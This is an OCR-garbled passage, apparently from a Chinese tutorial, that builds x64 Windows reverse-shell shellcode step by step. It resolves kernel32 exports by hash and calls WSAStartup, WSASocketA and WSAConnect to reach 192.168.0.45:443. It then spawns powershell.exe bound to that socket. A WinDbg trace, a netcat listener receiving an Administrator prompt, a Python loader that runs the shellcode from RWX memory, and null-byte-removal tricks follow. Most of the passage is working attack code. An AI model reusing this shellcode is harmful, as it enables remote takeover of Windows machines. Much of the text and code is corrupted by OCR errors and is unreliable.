Shellcode [T]- 2

API

(ITTTTT] StwsZT BB [ TTWHABtartupMVSASocketA[WSAConnect[I[[T] kernel3XddafeProcessA [TT
LoadLibraryA [TTTTT1T] ws2_32.dll [ITTTTT1T]

load module:
mov rax, 0x6c6c; # (110 " 11" [IIRAX
push rax; # 1110

mov rax, Ox642E32335F325357; # [II111'WS2 32. D" [JTRAX
push rax; # 11111

mov rcx, rsp; # RCXII'ws2 32. dL1\O" [IT]

sub rsp, 0x20; # 110

mov rax, rl2; # RAX[LoadLibraryA[]

call rax; # LoadLibraryA("ws2 32.dll")

add rsp, 0x20; # [111]

add rsp, 0x10; # [ "ws2 32. dlU1" [IIIITITIT

mov rl4, rax; # R14[JTWws2 32. dl1[1T]

[T ws2_32 [TTI1T]

P:004> r rax

rax=00007ffd96ce0000

©:004> 1lm m ws2 32

Browse full module list

start end module name

peee7ffd 96cepood GoGO7f{d 96d51000 Ws2 32 (deFerred)

Windpws x64 fastcall [R

[TTTIITRSE RSP 11 8 [II1111 16 TTITITIIIIIT]

9:004> r rsp

|r's p=0000001a491at278

9:004> p

(7950.1f4): Access violation - code ceeeeees (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

KERNELBASE | CreateProcessInternala+ex7b:

oeee7ffd 967258bb efiee7 movups xmm@,xmmword ptr [rdi] ds:00000000 00EEREEe=?7PP PP PP PIPPPPPRRPRIPRRPRPP?


https://raven-medicine.com/uploads/images/gallery/2023-07/ORgW9bDSHEXS8497-image.png
https://raven-medicine.com/uploads/images/gallery/2023-07/j1aFGOtKg1XceP6b-image.png

O T T T T T T

sub rsp, 0x200; # [T
lea rdx, [rspl; # IR OO

WSAStartup

[WWEABtartup [[TTWinsock DEOWEAStartup [ITT111T]

int WSAStartup(
WORD wVersionRequired, # 0x0202 == Version 2.2
[ out] LPWSADATA 1pWSAData # Pointer to where a WSADATA structure will be populated
)E

[ITWwNergiohRequired [Px202[T] ApWSAData [TTTITTITWSAStartup [TTTTTTITIITIIIIIIITIIIOIIT

call wsastartup:
mov r9, rax; # RI9[ITws2 32.dll[I[]
mov r8d, Ox3bfcedcb; # WSAStartup[l]
mov rbx, r9; # [ws2 32.dUL[IITITRBXIT]
call parse module; #[ITTTWSAStar tup[IIll
XOor rcx, rex;
mov cx, 0x198;
sub rsp, rcx; # [QIIIITLpWSDATATT]
lea rdx, [rspl; # [QpWSAData[TTTRDXIIIITRIT
mov rcx, 0x202; # [Px202[TwVersionRequiredTTRCXITITILIT]
sub rsp, 0x28; #1101
call rax; # [IWSAStartup
add rsp, 0x28; # [II[J

[OLTTTITIT]

0:004> g

Breakpoint @ hit

00PeE231 f34a0lad ffde call rax {Ws2 321WSAstartup (eeee7ftfd 96ceeedo)}
B:0e4> p

000R0231” T34a0l1a6 4883c458 add rsp,58h

9:884> r rax

rax=0000008000080000
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WSASocketA

[WWHAHGEketA [WHASocketA [TTTT1T]

SOCKET WSAAPI WSASocketA(

[in] int af, # RCX  (AF_INET == 2)
[in] int type, # RDX  (SOCK STREAM == 1)
[in] int protocol, # R8 (IPPROTO_TCP == 6)

[in] LPWSAPROTOCOL INFOA lpProtocolInfo, # R9 (NULL)

[in] GROUP g, # Stack (NULL)

[in] DWORD dwFlags # Stack (NULL)
D5

[ @fIB¥Ype Lprotocol [G[OTIITH (111115 OTITITIITITITITIIT] socket(]

call wsasocket:
mov r9, rbx;
mov r8d, 0Oxadf509d9; # WSASocketA[IIT]
call parse module; # [IWSASocketA[IIT]
sub rsp, 0x38; # [II0J
mov rcx, 2; # af[ROILOD
mov rdx, 1; # type[l[ITRI
mov r8, 6; # protocol[B[IIBIN
xor r9, r9; # lpProtocolInfo[PITUIT
mov [rsp+0x20], r9; # g[PIIPIIIIIIIL
mov [rsp+0x28], r9; # dwFlags[PIIBIIIIIIIT]
call rax; # [I] WSASocketA[]

mov rl2, rax; # [[IIsocket[ITITTITR12[ITRAXIIIIL]
add rsp, 0x38; # [II0J

[ITTTTTT] 0230 (I RAX ITTTTTITITTTITITTTITITTT] RAX [TTITTTTTIT]

0:004> g

Breakpoint @ hit

00000231 f34aelel ffde call rax {Ws2 32!wWsASocketA (@eve7ffd 96ct5820)}
0:004> p

ModlLoad: @eee7ffd 95620000 @0ea7ffd 95709808  C:\Windows\system32\mswsock.d1ll
0000231 f34a0le3 4989c4a mov riz,rax

9:004> r rax
rax=000ee00e000ep230
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WSAConnect

[(WHAQdhnect [TTTTTTTTIITIT]

int WSAAPI WSAConnect(
[in] SOCKET s,

[in] const sockaddr *name,

[in] int namelen,

[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS 1pSQOs,

[in] LPQOS 1pGQOS

)8

(VIIINSASGERetA [[TEOdkabdr [[] Sodkaddr [DRIE]

Bdckaddr [1T]

typedef struct sockaddr in {
#f ...

short sin family;
#else

ADDRESS FAMILY sin family;

#endif
USHORT sin port;
IN ADDR sin_addr;
CHAR sin zero[ 8];

} SOCKADDR IN, *PSOCKADDR IN;

sin_family [AK]INET[2HIH [port [sin_addr [TP|Hin_zero [O[I]T]

call wsaconnect
mov r9, rbx;
mov r8d, 0Oxb32dbalc; # WSAConnect[]]
call parse module; # [TWSAConnect[T]
sub rsp, 0x20; # [kocketaddr [ITTITTIT]
mov rcx, rl2; # [WSASocketATITITITRCXOTLIT
mov rdx, 2; # sin family[JTTTAF INET[IR
mov [rspl, rdx; # [Jkocketaddr[IT]
mov rdx, Oxbb0l; # [TIIT¥43
mov [rsp+2], rdx; # [QIIIIIkocketaddr TTTTTIIT]



mov rdx, 0x2d00a8cO; # [TIP[L92.168. 0. 45
mov [rsp+4], rdx; # [IP[IIsockaddr [ITTTITIT]
lea rdx, [rspl; # [Jsocketaddr TR
mov r8, 0x16; # [Thamelen[IIPx16

xor r9, r9; # lpCallerData[PTHUIN

sub rsp, 0x38; # [II[J

mov [rsp+0x20], r9; # lpCalleeData[PIThIN]
mov [rsp+0x28], r9; # 1pSQOS[PIIBITI

mov [rsp+0x30], r9; # lpGQOS[PIIVIN

call rax; # [IWSAConnect

add rsp, 0x38; # [IIL

(ITITTTT] RDX [ITTTITTIIT] sockaddr [TTTTTTTTIIIIIIT]

0:004> dw rdx 18

PPoReRe6” 8bfaece8 0002 bbel a8cP 2000 OPGD CPOO POEE PBRA
9:004> p

PeERB2Cc2 92510264 A883Cc458 add PSp,SSh

@:004> r rax

rax=000e00000000000

(117 O[T TTIITIITIIT] netcat OTTITITIT]

~/Desktop

443

listening on [any] 443 .

connect to [192.168.0.45 - ] 98p1

CreateProcessA

[OrdateProcessA [€had.exe [powershell.exe [TTTTTTTTTTTTTITITITIIIIIIT]

BOOL CreateProcessA(

[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,

[in, optionall LPSECURITY ATTRIBUTES 1pProcessAttributes,
[in, optional] LPSECURITY ATTRIBUTES 1lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,

[in, optionall LPVOID lpEnvironment,
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[in, optionall LPCSTR lpCurrentDirectory,

[in] LPSTARTUPINFOA lpStartupInfo,

[ out] LPPROCESS INFORMATION 1pProcessInformation
DE

IpApplicationName [pémMmandLine TMIMIME [@TCommandLine [] "powershHelhberiifHandles
(A

IpStartupinfo [9[1H

[(BARTINFO [TTTTTTTTIITTTTIITIT

typedef struct STARTUPINFOA {
DWORD cb;
LPSTR 1pReserved;
LPSTR 1pDesktop;
LPSTR 1pTitle;
DWORD  dwX;
DWORD  dwyY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE 1lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

AINRRRNNNNRRANNNNNRREEN

0: 004> dt combase! STARTUPINFOA

+0x000 cb : Uint4B

+0x008 1pReserved : Ptr64 Char
+0x010 lpDesktop : Ptr64 Char
+0x018 1pTitle : Ptr64 Char

+0x020 dwX : Uint4B



+0x024 dwY : Uint4B

+0x028 dwXSize : Uint4B
+0x02c dwYSize : Uint4B
+0x030 dwXCountChars : Uint4B
+0x034 dwYCountChars : Uint4B

+0x038 dwFillAttribute : Uint4B

+0x03c dwFlags : Uint4B
+0x040 wShowWindow : Uint2B
+0x042 cbReserved2 : Uint2B
+0x048 1pReserved?2 : Ptr64 UChar
+0x050 hStdInput : Ptr64 Void
+0x058 hStdOutput : Ptr64 Void
+0x060 hStdError : Ptro4 Void

[ERdWEFTad STEKHI PRGN R $0MI00RStdInputhStdOutputhStdError [WWEASocketA [TT1]
push r12; # [TSTDERROR[IWSASocketA[IT]

push rl2; # [ISTDOUTPUTIWSASocketA[TT]

push rl12; # [ISTDINPUTIWSASocketA[lT]

xor rdx, rdx;

push dx; # [MIHwFlags OO

push rdx;

push rdx;

mov rdx, 0x100;

push dx; # [JdwFlags[IPx100

xor rdx, rdx;

push dx; # [TIcb TP O]
push dx;

push rdx;

push rdx;

push rdx;

push rdx;

push rdx;

push rdx;

mov rdx, 0x68;

push rdx; # [Tkb[IPx68

mov rdi, rsp; # [IBSTARTINFOA[IITIT]

mov rdx, rsp;

sub rdx, 0x500; # [ProcessInformation[ITTITIIT]
push rdx; # ProcessInformation[ITIITTITROTT]



push rdi; # STARTINFOA[IIIIIIIIRIL]

[TIIIII] CreateProcessA [1]1 [1] 8 [TIIIIIIII] CreateProcessA [TTII11]

call createprocess:
mov r9, rbp; # R9Kernel32.dll[[]
mov r8d, 0x16b3fe72; # CreateProcessA[T]
call parse module; # [[reateProcessA[T]
mov rdx, 0Ox6578652e6c6c; # [II]'exe. 11"
push rdx;
mov rdx, 0x6568737265776f70; # [I1]'ehsrewop"
push rdx; # "powershell. exe" [TT11]
mov rcx, rsp; # [I]'powershell. exe" [TTTTTRCXIIT]
push rl12; # [TBTDERROR[IWSASocketA[IT]
push r12; # [TBTDOUTPUTIWSASocketA[IT]
push rl2; # [TBTDINPUT[IWSASocketA[IT]
xor rdx, rdx;
push dx; # [ITHwF lags [T I
push rdx;
push rdx;
mov rdx, 0x100;
push dx; # [JdwFlags[IPx100
xor rdx, rdx;
push dx; # [TTcb TP T
push dx;
push rdx;
push rdx;
push rdx;
push rdx;
push rdx;
push rdx;
mov rdx, 0x68;
push rdx; # [Tkb[IPx68
mov rdi, rsp; # [IBSTARTINFOA[IITIT]
mov rdx, rsp;
sub rdx, 0x20; # [ProcessInformation[IIIIIIIT]
push rdx; # ProcessInformation[ITTIITITNOIT]
push rdi; # STARTINFOAIIIIIITRIIN
xor rdx, rdx;

push rdx; # lpCurrentDirectory[IPIIBI



push rdx; # UpEnvironment[IPIIV[IT]
push rdx; # dwCreationFlags[IP[ITB[IT]

inc rdx;

push rdx; # bInheritHandles[TL[ITP[IT]

xor rdx, rdx;

push rdx; # [T (FOD 010

push rdx; # I BOID 010

push rdx; # [ ROD 010

push rdx; # [ (LID IO

mov rdx, rcx; # lpCommandLine[]]'powershell. exe" [ITTTTITRIT]
xor rcx, rcx; # [[lpCommandLine[TTTT\pApplicationName[lT]

mov r8, rcx; # lpProcessAttributes[IP[IIBIT]

mov r9, rcx; # lpThreatAttributes[IPITAIN

call rax;

[LITIITIN

9:004> r rcx
rcx=0ee0000200068000
@:804> da rdx
POPEORa9 797atb4s
@:884> dq rsp la
POPEORa9 797atad%e
POPEORa9 797ataad
POPEORa9 797atabe
POPEBRa9 797atace
POPEBRa9 797atade

e
"powershell.exe"

00000RPE PPOBPOEE PBPOORRE DOODLLLD
P0PPARRD PPOBPOPE PDPROARE PPODBLL.
00PPORPE PPORPEE1 PHPPORRE PPEDBLLD
00PPARRD PPORRRPE PDPPOARE PPBBBRP.
0OPBBRa9” 797aftaed 0PVVBAa9 797atace

0:0084> dt combase!STARTUPINFOA @P00R0a9 797afaee

+0x000 cb

+0x008 lpReserve
+0x010 lpDesktop
+0x018 lpTitle
+0x020 dwX
+0x024 dwy
+0x028 dwXSize
+0x02c dwySize
+0x030 dwXCountC
+0x034 dwYCountC
+0x038 dwFillAtt
+0x03c dwFlags
+0x840 wShowwWind
+0x842 cbReserve
+0x048 lpReserve
+0x050 hsStdInput
+0x058 hstdoutpu
+0x060 hsStdError

[ITTTTTITTIT Shell[]

. BX68
d : (null)
: (null)
: (null)
1 8
1 8
1 8
: 8
hars 0
hars 0
ribute (5}
1 Bx1e6
ow H®
d2 H %)
d2 : (null)
! @X00000000 000R0234 Void
t : 9xX00000000 000P0234 Void

. 0xX00000000 00PV234 Void
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~fDesktop

connect to [19 65 45] from (UNKNOWN) [192.168.8.37] 7547
Windows P

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https: 1.ms/PSWindows

C:\Users\Administrator> |j

(ITIITITITITIT Shellcode 11

import ctypes, struct

from keystone import *

CODE = (

"start:"

" sub rsp, 0x20;" # 111

" call find kernel32;"

" add rsp, 0x20;" # 1111

" mov rbp, rax;" # RBP[TKernel32. dl1l[]

" mov r8d, OxecOe4de8e;" # LoadLibraryAT]

" sub rsp, 0x20;" # (111

" call parse module;" # [1] LoadLibrar yAITIIT]
" add rsp, 0x20;" # 1111

" mov rl2, rax;"

! mov r8d, 0x7c0dfcaa;" # GetProcAddress([T]

" sub rsp, 0x20;" # 111

" call parse module;" # [[GetProcAddress[ITIIII]
" add rsp, 0x20;" # 111

mov rl3, rax;

! call load module;"

"find kernel32:"

" xor rdx, rdx;"

" mov rax, gs:[rdx+0x60];" # RAX[JTEB[ProcessEnvironmentBlock[TTTTTPEBI[T]
. mov rsi,[rax+0x18];" # [PEB[ITLDR[ITIIT] PEB LDR DATA[TITIT]
" mov rsi,[rsi + 0x20];" # RSI[] PEB_LDR DATA[TITInMemoryOrderModuleLis t[TT]T]

"next module:"

" mov r9, [rsi + 0x20];" # RO [TIIIITIITH
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mov rdi, [rsi + Ox50];" # RDI [I[Pl11BaseName[JBuffer IIITIIIIIIIIIT]

mov rsi, [rsi];" # [T
" add rdi, 2;" # KD

"check upper:" # [1I'ERNEL32. "[1T]

" mov rl2, 0Ox0045004E00520045;" # Unicode[TT] "ENRE"

mov rl13, 0x002e00320033004c;" # Unicode[I]] ". 23L"

" mov rdx, gqword ptr [rdi];" # [I11] "ERNEL32. DLL" [JTRDX
" cmp rdx, rl2;" # [TW[III]' ENRE" [T]

jne check lower;" # [0

" mov rdx, qword ptr [rdi + 8];" # [TTITTTITTT . 23L" [ITRDX
" cmp rdx, rl3;" # QAT 23L" M

jne next module;" # IO

" mov rax, r9;" # [[Tkernel32[1T]

1] ret; n

"check lower:" # ['ernel32." 10

" mov rl2, 0x0065006E00720065;" # Unicode[I]] "enre"
" mov rl3, 0x002e00320033006c;" # Unicode[TT] ". 231"
" mov rdx, qword ptr [rdi];"

" cmp rdx, rl2;"

jne next_module; " # [T

mov rdx, qword ptr [rdi + 8];"
" cmp rdx, rl3;"
" jne next module;"

" mov rax, r9;"

" ret;"

"parse _module: " # [IIIIIPLL[

" mov ecx, dword ptr [r9 + 0x3c];" # RO[ITIITITITINTOO

" mov rl5d, dword ptr [r9 + rcx + 0x88];" # [TITITITIRVA

" add rl15, r9;" # RIAIIITITIVMA

" mov ecx, dword ptr [rl5 + Ox18];" # ecX[ITITIIIIIIIIITIN
" mov rl4d, dword ptr [rl5 + 0x20];" # [TENPT[RVA

" add rl4, ro9;" # R14 [TTENPT[VMA

"search function:" # (11110

" jrcxz not found;" # [TRCXPOIIIIIIIO

" dec ecx;" # (11110



Xor rsi, rsi;

" mov esi, [rl4 + rcx*4];" # [IITITTTRVA
" add rsi, r9;" # RSI [IIIIII1D
"function hashing: " # 111111

Xor rax, rax;"

xor rdx, rdx;"

! cld;" # [IDF[IO
"iteration:" # 11110

" lodsb; " # RSI[ITITITITAL

" test al, al;" # [0
" jz compare_hash;" # 111
" ror edx, 0x0d;" # (11110
" add edx, eax;" # (11110
" jmp iteration;" # 1110
“compare_hash: " # 111

" cmp edx, r8d;"

" jnz search function;" # 10 ( OO
" mov rl10d, [rl15 + 0x24];" # [TTRVA

" add r10, r9;" # [TTVMA

" movzx ecx, word ptr [rl0 + 2*rcx];" # 11110 -1
" mov rlld, [rl1l5 + Oxlc];" # EAT[RVA

" add rl11, ro9;" # EAT[IVNA

" mov eax, [rll + 4*rcx];" # RAX[IITRVA

" add rax, ro;" # RAX[ITITVMA

! ret;"

“not found:"

" ret;"

"load module:

" mov rax, 0x6cb6c;" # 110 " W' [JTRAX

" push rax;" # (1110

! mov rax, 0x642E32335F325357;" # [TI11'WS2 _32. D" [ITRAX
" push rax;" # 1110

" mov rcx, rsp;" # RCX[II'ws2 32. dL1\0" [1T]

" sub rsp, 0x20;" # 111

mov rax, rlz;" # RAX[LoadLibraryA[T]



call rax;" # LoadLibraryA("ws2 32.dll")

add rsp, 0x20;" # 110
add rsp, 0x10;" # 1] "ws2 32. dl1" [IITIIIIT0
mov rl4, rax;" # R14[0Tws2 32. dll[10

"call wsastartup:"

mov r9, rax;" # RO[Iws2 32.dll[I0

mov r8d, Ox3bfcedch;" # WSAStartup[IT]
mov rbx, r9;" # [ws2 32. dUIITITRBXIT]
call parse module;" # [TIIIWSAStar tup[II1D]

XOr rcx, rcx;

mov cX, 0x198;"

sub rsp, rcx;" # [IIITTNpWSDATATT

lea rdx, [rspl;" # [QLpWSAData[TTTRDXIIIITRIT]

mov rcx, 0x202;" # [Px202[TwVersionRequiredITRCXITIITLIT]
sub rsp, 0x28;" # (1111

call rax;" # [IWSAStartup

add rsp, 0x28;" # 111

"call wsasocket:"

mov r9, rbx;"

mov r8d, Oxadf509d9;" # WSASocketA[TIT]

call parse module;" # [IWSASocketATTT]

sub rsp, 0x38;" # 111

mov rcx, 2;" # afROILOO

mov rdx, 1;" # type[l IR

mov r8, 6;" # protocol[BIIBIN

xor r9, ro9;" # 1pProtocolInfo[PTHAON

mov [rsp+0x20], r9;" # gPIIPUIIIIITIT

mov [rsp+0x28], r9;" # dwFlags[PIIBIIIIIIIT]
call rax;" # [1] WSASocketA[T]

mov rl2, rax;" # [I1I1bocket[TTITIITR12[ITRAXIIIIL]
add rsp, 0x38;" # (1111

"call wsaconnect:"

mov r9, rbx;"

mov r8d, 0xb32dbalc;" # WSAConnect[]]
call parse module;" # [IWSAConnect[]
sub rsp, 0x20;" # [bocketaddr [IIIIIIII] ( >=0x18[I)

mov rcx, rlz;" # [IWSASocket A[TTTTITITRCXIIN[IT



" mov rdx, 2;" # sin family[TTTTAF INET[IR

" mov [rspl, rdx;" # [[kocketaddr[IT]

" mov rdx, Oxbb0l;" # (1111843

" mov [rsp+2], rdx;" # [IIIIITkocketaddr [TITITITT]
! mov rdx, 0x2d00a8co;" # [TIP[192. 168. 0. 45

" mov [rsp+4], rdx;" # [IP[ITkockaddr [ITIIITIT]
" lea rdx, [rspl;" # [Ikocketaddr [IIITIIIIRIT
" mov r8, 0x16;" # [[hamelen[IIPx16

" xor r9, ro9;" # 1lpCallerData[POTRIT]

" sub rsp, 0x38;" # (1111

" mov [rsp+0x20], r9;" # 1pCalleeData[PIIB[IT]
" mov [rsp+0x28], r9;" # 1pSQOS[PIIRIT]

" mov [rsp+0x30], r9;" # 1pGQOS[PIIV I

" call rax;" # [IWSAConnect

" add rsp, 0x38;" # (1111

"call createprocess:"

" mov r9, rbp;" # RI9[Kernel32. dl1[]]

" mov r8d, 0x16b3fe72;" # CreateProcessA[]

" call parse module;" # [[CreateProcessA[]

" mov rdx, 0x6578652e6c¢cb¢c;" # [11]'exe. 11"

" push rdx;"

" mov rdx, 0x6568737265776f70;" # [I11'ehsrewop"
! push rdx;" # "powershell. exe" [TT11]

" mov rcx, rsp;" # [1I'powershell. exe" [TITITRCXITT
" push r12;" # [TSTDERROR[TWSASocketA[TT]

" push r12;" # [ISTDOUTPUT[IIWSASocketA[TT]

" push r12;" # [ITSTDINPUTIWSASocketA[TT]

" xor rdx, rdx;"

" push dx; " # [TTdwrF Lags [T M
" push rdx;"

" push rdx;"

" mov rdx, 0x100;"

" push dx;" # [TdwFlags[TPx100"

" xor rdx, rdx;"

! push dx;" # [TTcb TP M T

" push dx;"

! push rdx;"

" push rdx;"

! push rdx;"



" push rdx;"

. push rdx;"

! push rdx;"

" mov rdx, 0Ox68;"

" push rdx;" # [Tcb[1Px68

mov rdi, rsp;" # [IBTARTINFOAIITITT

mov rdx, rsp;"

! sub rdx, 0x20;" # [ProcessInformation[ITTTTTIT]
" push rdx;" # ProcessInformation[JTITITITLOITI]
" push rdi;" # STARTINFOAIIIIIIIRIT

! xor rdx, rdx;"

" push rdx;" # 1lpCurrentDirectoryIPIIBIT

" push rdx;" # 1pEnvironment [PV I

" push rdx;" # dwCreationFlags[IPIIBIT]

" inc rdx;"

" push rdx;" # bInheritHandles[TIL[IIP[IT]

xor rdx, rdx;"

! push rdx;" # I AOD 010

! push rdx;" # [ (BOD 10

! push rdx;" # [T [ROD 010

! push rdx;" # I L 0D 01D

" mov rdx, rcx;" # 1pCommandLine[T]'powershell. exe" [TTTITITRT
" Xor rcx, rcx;" # [IlpCommandLine[TTTTLpApplicationName[IT]

" mov r8, rcx;" # lpProcessAttributes[IPRIIBIT]

" mov r9, rcx;" # lpThreatAttributesIPITHIT

" call rax;"

ks = Ks(KS_ARCH X86, KS MODE 64)
encoding, count = ks. asm( CODE)

print("Encoded %d instructions..." % count)

sh = bll n
for e in encoding:
sh += struct. pack("B", e)

shellcode = bytearray(sh)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes.c uint64



ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))

buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)

ctypes. windll. kernel32. RtlMoveMemory( ctypes. c_uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes. windll. kernel32. CreateThread( ctypes. c_int(0),
ctypes. c_int(0),
ctypes. ¢ uint64(ptr),
ctypes. c_int(0),
ctypes. c_int(0),
ctypes. pointer(ctypes.c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c int(ht), ctypes.c int(-1))

[(TIIITT Shellcode [IITITIT]

0x00

[IIITITITT S64ACAOMIIIIT Shellcode [TTTT10x00 [IITITIITITIT Shellcode [TTTTITTITIITT 0x00 [ITTITTI
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hFx86-assembler.htm#disassembly [T]

45 88 52 88 4de
(=12]
dc 80 33 88 32
(=12]
17
el

57 B3

ea

T 0x00 [J

call find kernel32;

call parse module;

call parse module;

call load module;

mov

rl12, 45004E00520045h

movabs rl2,8x45004=085208845

movabs rl3,8x2e08320833084c

mow
cmp
jne
mow

cmp

rdx,QWORD PTR [rdi]
rdx,rl2

B8a <check lower:>
rdx,QWORD PTR [rdi+0x8]
rdx,rl3
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mov ri3, 2E00320033004Ch

mov rl2, 65006E00720065h

mov ri3, 2E00320033006Ch

mov r15d, dword ptr [r9+rcx+88h]
mov rax, 6C6Ch

mov rcx, 202h

mov rcx, 2

mov rdx, 1

mov rg, 6

mov rdx, 2

mov rdx, OxBBOlh

mov rdx, 2DOOA8COh

mov r8, 16h

mov rdx, 6578652E6C6Ch
mov rdx, 100h

mov rdx, 68h

[Mov r12, 0x0045004e00520045 [TTTTIII1T]

mov rl12, 0x1055105E10621055;
mov rax, 0x1010101010101010

sub rl12, rax;

[TIT111 0x00 [ITT]

@: 49 bc 55 1@ 62 18 5e movabs rl2,0x1855185e10621855

/. 18 55 1@
a: 48 b8 16 10 10 18 10 movabs rax,8x1018161618161818
11: 16 1 1@
14: 49 29 c4 sub rl2,rax
(Mov rcx, 2 [hdGITTITITIIIIITIT]

mov rcx, Oxfffffffffffffffe;

neg rcx;
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Disassembly:

B: 48 ¢7 cl fe ff ff ff
7: 48 7 d9

(111
X0r rcx, rcx;
inc rcx;
inc rcx;
g: 48 31 c9
3: A8 ff ¢l
B: A8 ff ¢l
(111
X0r rcx, rcx;
mov cl, 2;

8: 48 31 c9
3: bl 82

import ctypes, struct

from keystone import *

CODE = (

"start:"

" sub rsp, 0x20;" # 111
! call find kernel32;"

" add rsp, 0x20;" # 1111

mow

neg

®or
inc

inc

xor

mow

rex, OxFFFFFFFFFffffffe

rCx

PCX,PCx
rCx

MCX

FCX,PCX

cl,Bx2
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mov rbp, rax;" # RBP[TKernel32. dl1[I]

mov r8d, OxecOede8e;" # LoadLibraryA[T]

sub rsp, 0x20;" # 110

call parse module;" # [1] LoadLibraryATIIIT]
add rsp, 0x20;" # [111]

mov rl2, rax;"

mov r8d, 0x7cOdfcaa;" # GetProcAddress([T]
sub rsp, 0x20;" # 110

call parse module;" # [[GetProcAddress[ITIIIT]
add rsp, 0x20;" # (111

mov rl3, rax;"

call load module;"

"find kernel32:"

xor rdx, rdx;"

mov rax, gs:[rdx+0x60];" # RAX[JTEB[ProcessEnvironmentBlock[TTTTTPEB[T]
mov rsi,[rax+0x18];" # [PEB[ITLDR[ITIIT] PEB LDR DATA[TIIIT]
mov rsi,[rsi + 0x20];" # RSI[] PEB_LDR DATA[TTTEnMemor yOrderModuleList[TT]T]

"next module:"

mov r9, [rsi + 0x20];" # RO [IIIITIIIIIN
mov rdi, [rsi + Ox50];" # RDI [TTP11BaseName[TBuffer ITTTIITIIIIIT]
mov rsi, [rsi];" # [IIIII10
add rdi, 2;" # 1K
"check upper:" # [1I'ERNEL32. " [1T]
mov rl2, 0x1055105E10621055;" # Unicode[TT] "ENRE"[[Px1010101010101010

mov rax, 0x1010101010101016;"

sub r12, rax;"

mov rl13, 0x103el10421043105c;" # Unicode[T]] ". 23L"[[Px1010101010101010
mov rax, 0x1010101010101010;"

sub r13, rax;"

mov rdx, qword ptr [rdi];" # [111] "ERNEL32. DLL" [JTRDX
cmp rdx, rlz;" # [TH[ITI'ENRE" [T]
jne check lower;" # [T
mov rdx, qword ptr [rdi + 8];" # [(TTITTIITITT . 23L" [ITRDX

cmp rdx, ril3;" # TR0 23L" @
jne next module;" # [0
mov rax, r9;" # [Tkernel32[11]

ret;"



"check lower:"

# [[I'ernel32. "[I1]

" mov rl2, 0x1075107E10821075;" # Unicode[I]] "enre" [[Px10101010
" mov rax, 0x1010101010101016;"

" sub rl2, rax;"

" mov rl3, 0x103el10421043107c;" # Unicode[TT] ". 231" [[Px10101010
" mov rax, 0x1010101010101010;"

" sub ri13, rax;"

" mov rdx, qword ptr [rdi];"

" cmp rdx, rlz;"

" jne next_module;" # [T

" mov rdx, qword ptr [rdi + 8];"

" cmp rdx, rl3;"

" jne next module;"

" mov rax, r9;"

et

"parse _module: " # [IIIIIPLL[

" mov ecx, dword ptr [r9 + 0x3c];" # RO[ITIITITITINTOO

! xor rl5, rl15;"

" mov r1l5b, 0x88;"

! add rl15, r9;"

! add rl15, rcx;"

" mov rl1l5d, dword ptr [rl15];" # [IIITITRVA

! add r15, r9;" # RLA[TTITIITVMA

" mov ecx, dword ptr [rl5 + Ox18];" # eCX[ITIIITTIIITTIITT
" mov rl4d, dword ptr [rl5 + 0x20];" # [TENPT[RVA

" add rl4, r9;" # R14 [JTENPT[VMA

"search function:"

" jrcxz not found;"

Xor
mov

" add

dec ecx;"

rsi,
esi,

rsi,

rsi;

# [0
# [TRCX[POIIITTIIT

# [T

[rl4 + rcx*4];" # [IIIIIIIRVA

ro;"

"function hashing:"

Xxor

Xor

rax,

rdx,

rax;"

rdx; "

# RSI [T

# (111111



! cld; " # [IDPF[IO

"iteration: " # 11110

" Tlodsb;" # RSIIITITITAL

" test al, al;" # [0
" jz compare_hash;" # 111
" ror edx, 0x0d;" # 11110
! add edx, eax;" # 11110
! jmp iteration;" # 1110
"compare_hash:" # 111

" cmp edx, r8d;"

! jnz search_function;" # [T ( 0T
" mov rl10d, [rl5 + 0x24];" # [TTRVA

" add r10, r9;" # [TTVMA

" movzx ecx, word ptr [rl0 + 2*rcx];" # 11110 -1
" mov rlld, [r1l5 + Oxlc];" # EAT[RVA

" add rl11, r9;" # EAT[IVNA

" mov eax, [rll + 4*rcx];" # RAX[TITRVA

" add rax, ro;" # RAX[ITIIVMA

! ret;"

"not found:"

" ret;"

"load module: "

XOr rax, rax;

" mov ax, 0x6c6c; " # 110 " 11" [IIRAX

" push rax;" # (1110

" mov rax, 0x642E32335F325357;" # [I111'WS2 32. D" [JTRAX
" push rax;" # 1110

" mov rcx, rsp;" # RCX[II'ws2 32. dL1\0" [1T]

" sub rsp, 0x20;" # 111

" mov rax, rl2;" # RAX[LoadLibraryA[T]

" call rax;" # LoadLibraryA("ws2 32.dll1")

! add rsp, 0x20;" # 110

" add rsp, 0x10;" # 1] "ws2 32. dl1" [IITIIII10
" mov rl4, rax;" # R14[0Tws2 32. dll[10

"call wsastartup:"



" mov r9, rax;" # RO[Iws2 32.dll[I0

" mov r8d, Ox3bfcedcb;" # WSAStartup[IT]
" mov rbx, r9;" # [ws2 32. dUUIITITRBXIT]
" call parse module;" # [IITIWSAStar tup[IIIT]

X0or rcx, rcx;

" mov cX, 0x198;'
" sub rsp, rcx;" # [IIITTNpWSDATATTT
! lea rdx, [rspl;" # [LpWSAData[TTTRDXIIIITRIT]

" Xor rcx, rcx;"
xor rl3, rl13;"
! mov cX, 0Ox1313;"

mov rl3w, Ox1111;"

" sub rcx, rl3;" # [Px202[TWVersionRequired[TTRCXITIITL1T]
" sub rsp, 0x28;" # 111

" call rax;" # [IWSAStartup

" add rsp, 0x28;" # (1111

"call wsasocket:"

" mov r9, rbx;"

" mov r8d, 0Oxadf509d9;" # WSASocketA[TIT]
